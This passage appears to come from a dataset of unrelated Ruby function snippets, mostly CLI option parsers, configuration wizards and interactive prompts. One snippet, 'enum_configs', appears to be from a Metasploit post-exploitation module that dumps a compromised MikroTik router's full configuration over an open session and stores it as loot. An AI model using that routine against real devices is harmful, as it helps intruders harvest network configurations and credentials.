|arg| push_arg_if_present( \"configure\", arg, \"boolean\") }\n opt.on('-d', '--deploy STRING', String) { |arg| push_arg_if_present( \"deploy\", arg, \"boolean\") }\n opt.on('-on', '--org_name STRING', String) { |arg| push_arg_if_present( \"org_name\", arg, \"string\") }\n opt.on('-od', '--org_desc STRING', String) { |arg| push_arg_if_present( \"org_desc\", arg, \"string\") }\n opt.on('-cd', '--contact_desc STRING', String) { |arg| push_arg_if_present( \"contact_desc\", arg, \"string\") }\n opt.on('-odo', '--org_domain STRING', String) { |arg| push_arg_if_present( \"org_domain\", arg, \"string\") }\n opt.on('-oe', '--org_email STRING', String) { |arg| push_arg_if_present( \"org_email\", arg, \"string\") }\n opt.on('-op', '--org_phone STRING', String) { |arg| push_arg_if_present( \"org_phone\", arg, \"string\") }\n opt.on('-of', '--org_facebook STRING', String) { |arg| push_arg_if_present( \"org_facebook\", arg, \"string\") }\n opt.on('-ot', '--org_twitter STRING', String) { |arg| push_arg_if_present( \"org_twitter\", arg, \"string\") }\n opt.on('-oi', '--org_instagram STRING', String) { |arg| push_arg_if_present( \"org_instagram\", arg, \"string\") }\n opt.on('-ow', '--org_website STRING', String) { |arg| push_arg_if_present( \"org_website\", arg, \"string\") }\n opt.on('-cp', '--color_primary STRING', String) { |arg| push_arg_if_present( \"color_primary\", arg, \"string\") }\n opt.on('-cs', '--color_secondary STRING', String) { |arg| push_arg_if_present( \"color_secondary\", arg, \"string\") }\n opt.on('-l', '--logo STRING', String) { |arg| push_arg_if_present( \"logo\", arg, \"string\") }\n opt.on('-lo', '--logo_option STRING', String) { |arg| push_arg_if_present( \"logo_option\", arg, \"string\") }\n opt.on('-su', '--smtp_username STRING', String) { |arg| push_arg_if_present( \"smtp_username\", arg, \"string\") }\n opt.on('-sp', '--smtp_password STRING', String) { |arg| push_arg_if_present( \"smtp_password\", arg, \"string\") }\n opt.on('-sa', '--smtp_address STRING', String) { |arg| push_arg_if_present( \"smtp_address\", arg, \"string\") }\n opt.on('-so', '--smtp_port STRING', String) { |arg| push_arg_if_present( \"smtp_port\", arg, \"integer\") }\n opt.on('-as', '--account_sid STRING', String) { |arg| push_arg_if_present( \"account_sid\", arg, \"string\") }\n opt.on('-at', '--auth_token STRING', String) { |arg| push_arg_if_present( \"auth_token\", arg, \"string\") }\n opt.on('-ae', '--admin_email STRING', String) { |arg| push_arg_if_present( \"admin_email\", arg, \"string\") }\n opt.on('-ap', '--admin_password STRING', String) { |arg| push_arg_if_present( \"admin_password\", arg, \"string\") }\n opt.on('-af', '--admin_first_name STRING', String) { |arg| push_arg_if_present( \"admin_first_name\", arg, \"string\") }\n opt.on('-al', '--admin_last_name STRING', String) { |arg| push_arg_if_present( \"admin_last_name\", arg, \"string\") }\n opt.on('-hc', '--heroku_command STRING', String) { |arg| push_arg_if_present( \"heroku_command\", arg, \"string\") }\n opt.on('-ha', '--heroku_app_name STRING', String) { |arg| push_arg_if_present( \"heroku_app_name\", arg, \"string\") }\n opt.on('-sn', '--form_name STRING', String) { |arg| push_arg_if_present( \"form_name\", arg, \"string\") }\n opt.on('-f', '--faq STRING', String) { |arg| push_arg_if_present( \"faq\", arg, \"yml\") }\n opt.on('-s', '--form STRING', String) { |arg| push_arg_if_present( \"form\", arg, \"yml\") }\n end.parse!\nend", "def run\n get_setting\n SysConfig.store_config('ansi', @input)\n TaintSetup.new.execute\n end", "def get_parameters\n\t\t# get available envs\n\t\tSTDOUT.puts \"Enter environment to run tests on: (mwho, etc.): \"\n\t\tENV['environment']=STDIN.gets.strip.downcase\n\t\t# validate input\n\n\t\t# get available user permission levels for the env\n\t\tSTDOUT.puts \"Enter the permission level of the USER for this test: \"\n\t\tENV['permission']=STDIN.gets.strip.downcase\n\t\t# validate input\n\t\t\n\t\t# get available url permission levels for the env\n\t\tSTDOUT.puts \"Enter the permission level of the URLS for this test (all_defaults will be used if nothing is entered): \"\n\t\tENV['urls']=STDIN.gets.strip.downcase\n\t\t# validate input\n\t\tif ENV['urls'] == \"\" || ENV['urls'] == nil\n\t\t\tENV['urls'] = \"all_defaults\"\n\t\tend\n\tend", "def configure_information\n @config[\"config\"][\"contact\"] = {}\n if @args.empty?\n @config[\"config\"][\"organization_name\"] = @prompt.ask(prompt_box(\"What is your organization\\'s name?\"), required: true)\n @config[\"config\"][\"organization_description\"] = @prompt.ask(prompt_box(\"What is your organization\\'s description?\"))\n @config[\"config\"][\"organization_domain\"] = @prompt.ask(prompt_box(\"What is your organization\\'s custom URL that you would like to host the app at? (ex. demo.perlmutterapp.com) Leave blank to use the default instead.\"))\n prefs = @prompt.multi_select(prompt_box(\"Please select contact preferences to configure for your users to view:\"), %W[email phone facebook twitter instagram website])\n if prefs.count != 0\n @config[\"config\"][\"contact\"][\"description\"] = @prompt.ask(prompt_box(\"Enter a description for your contact page:\"), default: \"Fill out the form to send us a message!\", required: true)\n end\n if prefs.include? \"email\"\n @config[\"config\"][\"contact\"][\"email\"] = @prompt.ask(prompt_box(\"What is your contact email?\"), default: @config[\"config\"][\"contact\"][\"email\"], required: true) { |q| q.validate :email, \"Invalid email\" }\n end\n if prefs.include? \"phone\"\n @config[\"config\"][\"contact\"][\"phone\"] = @prompt.ask(prompt_box(\"What is your contact phone?\"), default: @config[\"config\"][\"contact\"][\"phone\"], required: true)\n end\n if prefs.include? \"facebook\"\n @config[\"config\"][\"contact\"][\"facebook\"] = @prompt.ask(prompt_box(\"What is your Facebook account?\"), default: @config[\"config\"][\"contact\"][\"facebook\"], required: true)\n end\n if prefs.include? \"twitter\"\n @config[\"config\"][\"contact\"][\"twitter\"] = @prompt.ask(prompt_box(\"What is your Twitter account?\"), default: @config[\"config\"][\"contact\"][\"twitter\"], required: true)\n end\n if prefs.include? \"instagram\"\n @config[\"config\"][\"contact\"][\"instagram\"] = @prompt.ask(prompt_box(\"What is your Instagram account?\"), default: @config[\"config\"][\"contact\"][\"instagram\"], required: true)\n end\n if prefs.include? \"website\"\n @config[\"config\"][\"contact\"][\"website\"] = @prompt.ask(prompt_box(\"What is your external website?\"), default: @config[\"config\"][\"contact\"][\"website\"], required: true)\n end\n else\n @config[\"config\"][\"organization_name\"] = get_argument_value(\"org_name\", true, nil)\n description = get_argument_value(\"org_desc\", false, nil)\n unless description.nil?\n @config[\"config\"][\"organization_description\"] = description\n end\n domain = get_argument_value(\"org_domain\", false, nil)\n unless domain.nil?\n @config[\"config\"][\"organization_domain\"] = domain\n end\n contact_description = get_argument_value(\"contact_desc\", false, nil)\n unless contact_description.nil?\n @config[\"config\"][\"contact\"][\"description\"] = contact_description\n end\n email = get_argument_value(\"org_email\", false, nil)\n unless email.nil?\n @config[\"config\"][\"contact\"][\"email\"] = email\n end\n phone = get_argument_value(\"org_phone\", false, nil)\n unless phone.nil?\n @config[\"config\"][\"contact\"][\"phone\"] = phone\n end\n facebook = get_argument_value(\"org_facebook\", false, nil)\n unless facebook.nil?\n @config[\"config\"][\"contact\"][\"facebook\"] = facebook\n end\n twitter = get_argument_value(\"org_twitter\", false, nil)\n unless twitter.nil?\n @config[\"config\"][\"contact\"][\"twitter\"] = twitter\n end\n instagram = get_argument_value(\"org_instagram\", false, nil)\n unless instagram.nil?\n @config[\"config\"][\"contact\"][\"instagram\"] = instagram\n end\n website = get_argument_value(\"org_website\", false, nil)\n unless website.nil?\n @config[\"config\"][\"contact\"][\"website\"] = website\n end\n end\n success_prompt(\"Organization details configured.\")\nend", "def config\n mode == \"autoinst_config\"\n end", "def command_line_input_logic(passby)\n\tcase passby\n\t\twhen 1\n\t\t\tputs `man mv`\n\t\twhen 2\n\t\t\tputs `man cp`\n\t\twhen 3\n\t\t\tputs `man mkdir`\n\t\twhen 4\n\t\t\tputs `man ls`\n\t\twhen 5\n\t\t\tputs `man rm`\n\t\twhen 6\n\t\t\tmenu\n\t\telse\n\t\t\tputs \"Please make a selection between 1 - 6!\"\n\tend\n\tcommand_line_menu\nend", "def cli=(value); end", "def more_options\n puts Rainbow(\"Specify your additional options for your search: 'release date', 'search history', or go back\").yellow.underline\n input = gets.chomp.downcase\n \n if input == \"release date\"\n option_release_date\n \n elsif input == \"search history\"\n game_history\n\n elsif input == \"go back\"\n continue_or_exit\n \n else \n puts \"Input not recognized please try again\"\n more_options\n end\n end", "def prompt_for_config\n puts \"no config found for SSID: #{get_ssid}\"\n puts \"current gateway is: #{get_gateway_ip}\"\n puts\n puts \"enter password for modou router management console:\"\n\n require 'readline'\n\n password = Readline::readline('> ')\n\n config = load_config\n config[get_ssid] = { \"password\" => password, \"host\" => get_gateway_ip }\n\n save_config(config)\nend", "def enum_configs\n host = session.session_host\n port = session.session_port\n exec_commands = [\n {\n 'cmd' => '/export verbose',\n 'fn' => 'get_config',\n 'desc' => 'Get Device Config on Mikrotik Device'\n },\n ]\n exec_commands.each do |ec|\n command = ec['cmd']\n cmd_out = session.shell_command(command).gsub(/#{command}/, '')\n print_status(\"Gathering info from #{command}\")\n # detect if we're in pagination and get as much data as possible\n if ec['fn'] == 'get_config'\n mikrotik_routeros_config_eater(host, port, cmd_out.strip)\n else\n cmd_loc = store_loot(\"mikrotik.#{ec['fn']}\",\n 'text/plain',\n session,\n cmd_out.strip,\n \"#{ec['fn']}.txt\",\n ec['desc'])\n vprint_good(\"Saving to #{cmd_loc}\")\n end\n end\n end", "def config\n \n # TODO: Re-enable:\n # # Display the value for a specific machine.\n # $ rudy -e prod -r db config param-name\n \n if @@config.nil? || @@config.empty?\n return if @@global.quiet\n raise Rudy::NoConfig\n end\n\n outform = @@global.format == :json ? :to_json : :to_yaml\n \n types = @option.marshal_dump.keys & @@config.keys # Intersections only\n types = @@config.keys if @option.all\n types = [:machines] if types.empty?\n \n if @option.project\n rf = File.join(RUDY_HOME, 'Rudyfile')\n raise \"Cannot find: #{rf}\" unless File.exists?(rf)\n li File.read(rf)\n \n elsif @option.script\n conf = fetch_script_config\n li conf.to_hash.send(outform) if conf\n \n else\n #li \"# ACCOUNTS: [not displayed]\" if types.delete(:accounts)\n types.each do |conftype|\n li \"# #{conftype.to_s.upcase}\"\n next unless @@config[conftype] # Nothing to output\n if conftype == :accounts\n skey = @@config[conftype][:aws][:secretkey]\n @@config[conftype][:aws][:secretkey] = hide_secret_key(skey)\n end\n \n li @@config[conftype].to_hash.send(outform)\n end\n end\n \n end", "def pt;z.gets 'Your choice:'; end", "def interactively_configure(options)\n configure do |settings|\n scope = settings.select do |name, setting|\n Settings.definitions.include?(name) && !setting.internal?\n end\n\n # Automatically configure settings that defaults to it\n scope.each { |_, setting| setting.auto! if setting.default == :auto }\n\n if options[:required]\n scope = scope.reject { |_, setting| setting.default? || setting.set? }\n end\n\n scope.each do |name, setting|\n @env.ui.info setting.description, bold: true\n @env.ui.info setting.help unless setting.help.nil?\n\n value = setting_display_value(setting.value)\n\n @env.ui.info name, bold: true, new_line: false\n\n prompt = value.empty? ? '' : \" [#{value}]\"\n prompt += ': '\n\n input = @env.ui.ask(prompt).strip\n @env.ui.info ''\n\n if !input.empty?\n setting.value = parse_setting(setting, input)\n elsif setting.allows_empty?\n setting.value = input.strip\n end\n end\n end\n end", "def other_options\n puts \"\\nWould you like to see another recipe?\\nPlease enter 'Yes' or 'No':\"\n\n input = \"\"\n while input\n input = gets.strip.upcase\n case input\n when \"YES\"\n return true\n when \"NO\"\n puts \"\\nEnjoy your meal!\"\n return false\n else\n puts \"\\nPlease enter 'Yes' or 'No'.\"\n end\n end\n end", "def provide_options\n puts \"\\nWould you like to:\"\n puts \" A. See some information about a particular planet\"\n puts \" B. Add a new planet to the system\"\n puts \" C. Delete a planet from the system\"\n puts \" D. Exit the program\"\n print \"\\nEnter your selection (A, B, C, or D): \"\n return selection = gets.chomp.upcase\nend", "def submode_config(config_line)\n command = config_line.strip\n @configuration[command]\n end", "def configure_command(cmd)\n end", "def parse! opts, config\n @long_switch = \"#{@long_switch} #{@key.to_s.upcase}\" if @type == :posix and \\\n defined?(@key) && @key\n switches = []\n switches << (defined?(@short_switch) && @short_switch) ? @short_switch : nil\n switches << (defined?(@long_switch) && @long_switch) ? @long_switch : nil\n @description = \"#{@description} (Default: #{@default})\" if @default\n opts.on(switches[0], switches[1], @description) do |o|\n config[@key] = o\n end\n end", "def configuration?\n get_mode.to_s.include?('config')\n end", "def determine_requested\n # param is usually set from the convention. when set from convention stack name takes higher precedence\n config_key = @config.singularize.to_sym # param or variable\n @options[config_key] || @options[:config] || @options[:stack]\n end", "def configure_command\n load_configuration_file\n return false unless determine_products_to_parse\n return false unless determine_product_version_to_parse\n\n determine_number_of_attempts\n setup_destination_directory\n Workers.pool.resize(10)\n true\n end", "def configure_backdat\n @commands = parse_options\n\n begin\n ::File.open(config[:config_file]) { |f| apply_config(f.path) }\n rescue Errno::ENOENT => error\n msg = \"Did not find the config file: #{config[:config_file]}\"\n msg << \", Using command line options.\"\n Backdat::Log.warn \"*****************************************\"\n Backdat::Log.warn msg\n Backdat::Log.warn \"*****************************************\"\n end\n end", "def read_command(prompt); end", "def run\n \n # Define options\n opts = OptionParser.new\n opts.banner = \"Usage: #{File.basename($0)} [options] {setup|restore}\"\n opts.on('-h', '--help') do\n @options[:usage] = true\n end\n opts.on( '-v', '--verbose', 'Print progress to STDERR' ) do\n @options[:verbose] = true\n end\n opts.on( '-d', '--debug', 'Print debug output to STDERR' ) do\n @options[:verbose] = true\n @options[:debug] = true\n end\n opts.on( '-w', '--wait', \n 'Wait [30] seconds for network interfaces' ) do |a|\n @options[:wait] = a\n end\n opts.on( '--corporate INTERFACE', \n 'Select INTERFACE for corporate network' ) do |a|\n @network_map[:corporate][:pattern] = /#{a}/\n end\n opts.on( '--other INTERFACE', \n 'Select INTERFACE for other network' ) do |a|\n @network_map[:other][:pattern] = /#{a}/\n end\n opts.on( '--vpn', 'Enable VPN' ) do |a|\n @options[:vpn] = a\n end\n if CORPORATE_NET.include?('255.255.255.255/16') ||\n ! PARAMETERS_ADAPTED\n RDoc::usage_no_exit()\n puts opts\n puts \"\\n###\\n### YOU NEED TO READ, UNDERSTAND,\\n\"\\\n \"### AND FINALLY EDIT THIS SCRIPT\\n\"\\\n \"### BEFORE YOU CAN USE IT\\n###\\n\\n\"\n return false\n end\n begin\n opts.parse!(@arguments)\n rescue OptionParser::InvalidOption => e\n RDoc::usage_no_exit()\n puts e\n puts opts\n return false\n end\n if @options[:usage]\n RDoc::usage_no_exit()\n puts opts\n return false\n end\n if parsed_arguments? \n process_command\n else\n puts \"#{File.basename(__FILE__)} version #{VERSION}\"\n RDoc::usage_no_exit()\n puts opts\n exit 1\n end\n \n end", "def checkpoint\n ask_user_for_input\n user_input = gets.chomp.downcase\n center_focus_simulation if user_input == 'c'\n user_choice_simulation if user_input == 't'\n instructions if user_input == 'i'\n return if user_input == 'q'\n end", "def generate_settings(cmdline, configuration)\n loaded = YAML::load(configuration)\n\n if loaded[:properties].nil?\n loaded[:properties] = {}\n end\n\n #User name override\n if cmdline['-c']\n (0..cmdline['-c']-1).each do |it|\n u = cmdline['<user>'][it]\n p = cmdline['<password>'][it]\n t = cmdline['<target>'][it]\n loaded[:task_systems].each do |ts|\n if ts[:name] == t\n ts[:usr] = u\n ts[:pw] = p\n end\n end\n end\n end\n\n unless cmdline['--properties'].nil?\n json_value = JSON.parse(cmdline['--properties'])\n loaded[:properties] = loaded[:properties].merge(json_value)\n end\n loaded[:verbosity] = Logging.calc_verbosity(cmdline)\n loaded\n end", "def config(**args)\n # # keep a running record of checks reported, indexed by family\n # with each family keeping an array of checks\n @current_check_family ||= \"general\"\n @progress ||= {\n @current_check_family => []\n }\n \n # it's possible to suppress all output\n # This can be changed by calling config again\n @output_to = if args.has_key?(:output_to)\n args[:output_to].include?('none') ? [] : args[:output_to]\n \n else\n ['console']\n end\n end", "def switch_config(config)\n @config = config\n @window.change_bg_color(config.bgColor)\n @window.change_text_color(config.textColor)\n @window.change_font_name(config.fontName)\n self.set_prompt(config.prompt)\n config.activate\n end", "def parse(eval_ui = false)\n begin\n defaults = @config['defaults']\n\n ################################################################\n # Cluster\n ################################################################\n\n if @config['cluster'].nil?\n @config['cluster'] = { 'name' => @config['name'] }\n end\n\n @config['cluster']['provision'] ||= {}\n\n if defaults && defaults.key?('provision')\n @config['cluster']['provision'].merge!(\n defaults['provision']\n )\n end\n\n ################################################################\n # Hosts\n ################################################################\n\n if @config['hosts']\n sections = ['connection', 'provision', 'configuration']\n\n @config['hosts'].map! do |host|\n sections.each do |section|\n data = CONFIG_DEFAULTS[section] || {}\n\n if @config['defaults']\n defaults = @config['defaults'][section]\n end\n\n h_sec = host[section]\n\n # merge defaults with globals\n # and device specific params\n data.merge!(defaults) unless defaults.nil?\n data.merge!(h_sec) unless h_sec.nil?\n\n host[section] = data\n end\n\n host\n end\n end\n\n ################################################################\n # Datastores & Networks\n ################################################################\n\n ['datastores', 'networks'].each do |r|\n next unless @config[r]\n\n @config[r].map! do |x|\n x['provision'] ||= {}\n\n if defaults && defaults.key?('provision')\n x['provision'].merge!(defaults['provision'])\n end\n\n x\n end\n end\n\n # Add provision ID into ARs to evaluate it later\n if @config['networks']\n @config['networks'].each do |vnet|\n next unless vnet['ar']\n\n unless vnet['ar'].is_a? Array\n raise 'ar should be an array'\n end\n\n vnet['ar'].each do |ar|\n ar['provision_id'] = '${provision_id}'\n end\n end\n end\n\n ################################################################\n # User inputs\n ################################################################\n return unless eval_ui\n\n eval_user_inputs\n rescue StandardError => e\n Utils.fail(\"Failed to read configuration: #{e}\")\n end\n end", "def configuring what\n puts \"Configuring: #{what}...\"\n end", "def user_input_command_line_menu\n\tcommand_line_input = gets.strip.to_i\n\tcommand_line_input_logic(command_line_input)\nend", "def config?\n options[:config]\n end", "def set_mode\n $Counting_Mode = getopts(\"c\")\n $Training_Mode = getopts(\"t\")\n empty_argv\n set_counting_recommendation_strings if $Counting_Mode\n end", "def tenant_maint()\n puts \"Option: Maintain Tenant [placeholder]\"\n gets\nend", "def display_calculator\n puts \"----Calculator----\"\n puts \"Please select from the following Calculators. type 'B' for basic, 'A' for advanced and 'M for BMI' alternatively type 'quit' to exit? \"\n type_of_calc = gets.chomp()\n if (type_of_calc == \"B\")\n basic_calc\n elsif (type_of_calc == \"A\")\n advanced_calc\n elsif (type_of_calc == \"M\")\n bmi_calc\n end\nend", "def test_preferences\n c = cli(['-m'])\n assert(c.map?)\n refute(c.print?)\n refute(c.save?)\n end", "def config_set?(config)\n instance_variable_get(\"@#{config}\").to_s != ''\n end", "def obtain(prompt, default = '')\n Settings.console.ask \"#{prompt}: \" do |answer|\n answer.default = default\n end\n end", "def configure\n\n # config file default options\n configuration = {\n :options => {\n :verbose => false,\n :coloring => 'AUTO'\n },\n :mount => {\n :source => {\n :name => nil\n },\n :mountpoint => {\n :name => nil\n },\n :passphrasefile => {\n :name => 'passphrase'\n },\n :keyfile => {\n :name => 'encfs6.xml'\n },\n :cmd => nil,\n :executable => nil\n },\n :unmount => {\n :mountpoint => {\n :name => nil\n },\n :cmd => nil,\n :executable => nil\n },\n :copy => {\n :source => {\n :name => nil\n },\n :destination => {\n :name => nil\n },\n :cmd => nil,\n :executable => nil\n }\n }\n\n # set default config if not given on command line\n config = @options[:config]\n unless config\n config = [\n File.join(@working_dir, \"revenc.conf\"),\n File.join(@working_dir, \".revenc.conf\"),\n File.join(@working_dir, \"config\", \"revenc.conf\"),\n File.expand_path(File.join(\"~\", \".revenc.conf\"))\n ].detect { |filename| File.exists?(filename) }\n end\n\n if config && File.exists?(config)\n # rewrite options full path for config for later use\n @options[:config] = config\n\n # load options from the config file, overwriting hard-coded defaults\n config_contents = YAML::load(File.open(config))\n configuration.merge!(config_contents.symbolize_keys!) if config_contents && config_contents.is_a?(Hash)\n else\n # user specified a config file?, no error if user did not specify config file\n raise \"config file not found\" if @options[:config]\n end\n\n # the command line options override options read from the config file\n @options = configuration[:options].merge!(@options)\n @options.symbolize_keys!\n\n # mount, unmount and copy configuration hashes\n @options[:mount] = configuration[:mount].recursively_symbolize_keys! if configuration[:mount]\n @options[:unmount] = configuration[:unmount].recursively_symbolize_keys! if configuration[:unmount]\n @options[:copy] = configuration[:copy].recursively_symbolize_keys! if configuration[:copy]\n end", "def repair!\n return false unless gitlab_user?\n\n command_success = OPTIONS.map do |name, value|\n system(*%W(#{Gitlab.config.git.bin_path} config --global #{name} #{value}))\n end\n\n command_success.all?\n end", "def get_cli_forced\n if ENV.include?(\"force\") && ENV['force']\n return true\n else\n return false\n end\n end", "def setup()\n # simulate a \"startup\" function (not available in my Test Unit version)\n if @@cmptr.nil?\n @@cmptr = 0 # Set to 0 at first run to make confiuration only once\n print \"Do you need a HTTP proxy to connect to internet? (y/n) [n]: \"\n conf_proxy = gets.chomp()\n @@prox_ip = @@prox_port = @@prox_login = @@prox_pwd = nil\n if conf_proxy.downcase() == 'y'\n print \"Please enter the HTTP proxy IP: \"\n @@prox_ip = gets.chomp()\n print \"Please enter the HTTP proxy port: \"\n @@prox_port = gets.chomp()\n print \"Please enter the HTTP proxy login (if any): \"\n @@prox_login = gets.chomp()\n if @@prox_login.length == 0\n @@prox_login = nil\n else\n print \"Please enter the HTTP proxy password (if any): \"\n @@prox_pwd = gets.chomp()\n end\n end\n end\n end", "def configure_and_run(params = [])\n config_file = Configuration::DEFAULT_CONFIG_FILE_NAME\n tmp_config = Configuration.new\n action_wizard = false\n\n parser = OptionParser.new do |opts|\n opts.banner = if ENV['OCRA_EXECUTABLE']\n \"Usage: #{ENV['OCRA_EXECUTABLE'].gsub(\"#{Dir.pwd}/\".gsub('/', '\\\\'), '')} [options]\"\n else\n \"Usage: #{Gem.ruby} #{$PROGRAM_NAME} [options]\"\n end\n\n opts.on('-c', '--config CONFIG_FILE_NAME', 'Specify custom configuration file,'\\\n \" instead of #{Configuration::DEFAULT_CONFIG_FILE_NAME}.\") do |file_name|\n config_file = file_name\n end\n\n opts.on('-r', '--register FILE', 'Register a custom plugin, e.g. your own Datasource implementation') do |plugin|\n require plugin\n end\n\n opts.on('-d', '--debug LEVEL', 'Specify detail level: FATAL, ERROR, WARN, INFO, DEBUG.') do |level|\n tmp_config.set_param('grafana-reporter:debug-level', level)\n end\n\n opts.on('-o', '--output FILE', 'Output filename if only a single file is rendered') do |file|\n tmp_config.set_param('to_file', file)\n end\n\n opts.on('-s', '--set VARIABLE,VALUE', Array, 'Set a variable value, which will be passed to the '\\\n 'rendering') do |list|\n raise ParameterValueError, list.length unless list.length == 2\n\n tmp_config.set_param(\"default-document-attributes:#{list[0]}\", list[1])\n end\n\n opts.on('--ssl-cert FILE', 'Manually specify a SSL cert file for HTTPS connection to grafana. Only '\\\n 'needed if not working properly otherwise.') do |file|\n if File.file?(file)\n tmp_config.set_param('grafana-reporter:ssl-cert', file)\n else\n config.logger.warn(\"SSL certificate file #{file} does not exist. Setting will be ignored.\")\n end\n end\n\n opts.on('--test GRAFANA_INSTANCE', 'test current configuration against given GRAFANA_INSTANCE') do |instance|\n tmp_config.set_param('grafana-reporter:run-mode', 'test')\n tmp_config.set_param('grafana-reporter:test-instance', instance)\n end\n\n opts.on('-t', '--template TEMPLATE', 'Render a single ASCIIDOC template to PDF and exit') do |template|\n tmp_config.set_param('grafana-reporter:run-mode', 'single-render')\n tmp_config.set_param('default-document-attributes:var-template', template)\n end\n\n opts.on('-w', '--wizard', 'Configuration wizard to prepare environment for the reporter.') do\n action_wizard = true\n end\n\n opts.on('-v', '--version', 'Version information') do\n puts GRAFANA_REPORTER_VERSION.join('.')\n return -1\n end\n\n opts.on('-h', '--help', 'Show this message') do\n puts opts\n return -1\n end\n end\n\n begin\n parser.parse!(params)\n return ConsoleConfigurationWizard.new.start_wizard(config_file, tmp_config) if action_wizard\n rescue ApplicationError => e\n puts e.message\n return -1\n end\n\n # abort if config file does not exist\n unless File.file?(config_file)\n puts \"Config file '#{config_file}' does not exist. Consider calling the configuration wizard\"\\\n ' with option \\'-w\\' or use \\'-h\\' to see help message. Aborting.'\n return -1\n end\n\n # merge command line configuration with read config file\n @config.load_config_from_file(config_file)\n @config.merge!(tmp_config)\n\n run\n end", "def validate_config\n if config['repo'].nil? || !config['repo'].is_a?(String) || config['repo'].empty?\n error \"No 'repo' value found in 'steel.yml' or on the command line!\"\n error \"Which repo would you like to pull files from?\"\n Choice.help\n exit 2\n end\n end", "def create_default_cfg\n if File.exist?(Cukedep::YMLFilename)\n puts \"OK to overwrite file #{Cukedep::YMLFilename}.\"\n puts '(Y/N)?'\n answer = $stdin.gets\n exit if answer =~ /^\\s*[Nn]\\s*$/\n end\n Config.default.write(Cukedep::YMLFilename)\n\n exit\n end", "def validate_configuration config, type=:config\n ## Check the config file is a Hash whose keys are ordered numbers starting in one and sub-hashes' values are strings or numbers\n raise ConfError, \"Configuration file is not a Hash.\" if not config.is_a? Hash\n\n runs = config.keys\n raise ConfError, \"Configuration options must be grouped by run numbers.\" if not runs.all? {|run| run.is_a? Integer}\n\n if type.eql? :config\n current = 1\n runs.each do |run|\n raise ConfError, \"Run numbers in configuration file must start at 1 and increase without skipping numbers.\" if not run.eql? current\n current += 1\n end\n end\n\n config.each do |run, options|\n options.each do |key, value|\n raise ConfError, \"#{RESULTS_FILE_KEY} option missing.\" if type.eql? :results and not options.include? RESULTS_FILE_KEY\n case type\n when :config\n if not (value.is_a? String or value.is_a? Numeric)\n raise ConfError, \"Options in configuration file have to be strings or numbers, but the value of #{key} in run #{run} is #{value}.\"\n end\n if value.is_a? String and value[0].eql? CONFIG_MARKER\n if key.eql? \"seqfile\" or key.eql? \"treefile\"\n raise ConfError, \"Missing glob after = in #{key} in run #{run}\" if value.length.eql? 1\n\n @dirs.each do |dir|\n results = Dir.glob(\"#{dir}/#{value[1..-1]}\")\n if results.none?\n raise ConfError, \"Could not find file #{dir}/#{value[1..-1]}.\"\n elsif not results.one?\n raise ConfError, \"Found more than one file with #{dir}/#{value[1..-1]}.\"\n end\n end\n\n else\n raise ConfError, \"Option #{key}:#{value} in run #{run} is missing a #{CONFIG_SEPARATOR} character.\" if value.count(\"|\").eql? 0\n raise ConfError, \"Option #{key}:#{value} in run #{run} has too many '#{CONFIG_SEPARATOR}' characters.\" if value.count(\"|\") > 2\n source_run, detect, extract = value[1..-1].split(CONFIG_SEPARATOR)\n raise ConfError, \"Option #{key}:#{value} in run #{run} specifies no run to extract from.\" if source_run.empty?\n #puts \"source_run: #{source_run}, run: #{run}\"\n raise ConfError, \"Option #{key}:#{value} in run #{run} asks to extract a result from run #{source_run}.\" if source_run.to_i >= run\n raise ConfError, \"Option #{key}:#{value} in run #{run} has an empty detection part.\" if detect.empty?\n end\n end\n when :results\n raise ConfError if not RESULTS_VALID_OPTIONS.include? key\n if key.eql? RESULTS_FILE_KEY\n raise ConfError, \"Value in #{RESULTS_FILE_KEY} can not be blank\" if value.empty?\n else\n if not (value.is_a? TrueClass or value.is_a? FalseClass)\n puts \"value.class: #{value.class}, value: #{value}\"\n raise ConfError, \"Values in the configuration file can be only 'true' or 'false', but the value of #{key} in run #{run} is #{value}.\"\n end\n end\n end\n end\n end\nend", "def config\n\n status=true\n\n # Set the audio carrier, but only if it's not false (so other\n # items can be updated without worrying about a little bit of\n # drift due to AFC).\n if @carrier\n @carrier=@carrier.to_i\n if @carrier!=self.get_carrier().to_i\n self.sendcmd(\"modem.set_carrier\", @carrier)\n end\n end\n \n # Set the modem. Also, take a stab at setting the timeouts for\n # that modem. ToDo: Add to these as additional modems are checked\n # out, and save the user some hassle.\n if @modem!=@modem_old\n case @modem\n when \"BPSK31\"\n @start_wait=5\n @char_wait=1\n when \"BPSK63\"\n @start_wait=5\n @char_wait=0.5\n when \"BPSK125\"\n @start_wait=5\n @char_wait=0.5\n when \"BPSK250\"\n @start_wait=5\n @char_wait=0.5\n else\n @start_wait=10\n @char_wait=2\n end\n \n if @modem==self.get_modem()\n @modem_old=@modem\n else\n self.sendcmd(\"modem.set_by_name\", @modem)\n if @modem==self.get_modem()\n @modem_old=@modem\n else\n self.error(\"modem.set_by_name failed with value #{@modem}\")\n puts \"modem.set_name failed\" if @debug\n status=false\n end\n end\n end\n \n # Turn spot on/off (true/false).\n if @spot!=@spot_old\n if torf(self.sendcmd(\"spot.get_auto\"))==@spot\n @spot_old=@spot\n else\n self.sendcmd(\"spot.set_auto\", @spot)\n if torf(self.sendcmd(\"spot.get_auto\"))==@spot\n @spot_old=@spot\n else\n self.error(\"spot.set_auto failed with value #{@spot}\")\n puts \"spot.set_auto failed\" if @debug\n status=false\n end\n end\n end\n\n # Turn AFC on/off (true/false). Some modes don't work with\n # AFC. There seems to be a great deal of inconsistency (a bug,\n # maybe?) in reading the AFC value back from FLDigi. Every test I\n # can come up with points to a bug in their code, not mine. Until\n # we can get this sorted out, don't consider failure to set AFC as\n # fatal. Just unset it, and continue on. ToDo: Verify bug in\n # FLDigi, then fix.\n if (@afc!=@afc_old)\n if torf(self.sendcmd(\"main.get_afc\"))==@afc\n @afc_old=@afc\n else\n self.sendcmd(\"main.set_afc\", @afc)\n sleep 0.25\n if torf(self.sendcmd(\"main.get_afc\"))==@afc\n @afc_old=@afc\n else\n @afc=false\n puts \"main.set_afc failed, so leaving turned off\" if @debug\n end\n end\n end\n\n # Set the sideband (\"USB\"/\"LSB\"). ToDo: make sure this is\n # correct.\n if @sideband!=@sideband_old\n if @sideband==self.sendcmd(\"main.get_sideband\")\n @sideband_old=@sideband\n else\n self.sendcmd(\"main.set_sideband\", @sideband)\n if @sideband==self.sendcmd(\"main.get_sideband\")\n @sideband_old=@sideband\n else\n self.error(\"main.set_sideband failed with value #{@sideband}\")\n puts \"main.set_sideband failed\" if @debug\n status=false\n end\n end\n end\n\n # Turn RSID receive on/off (true/false).\n if @rsid!=@rsid_old\n if 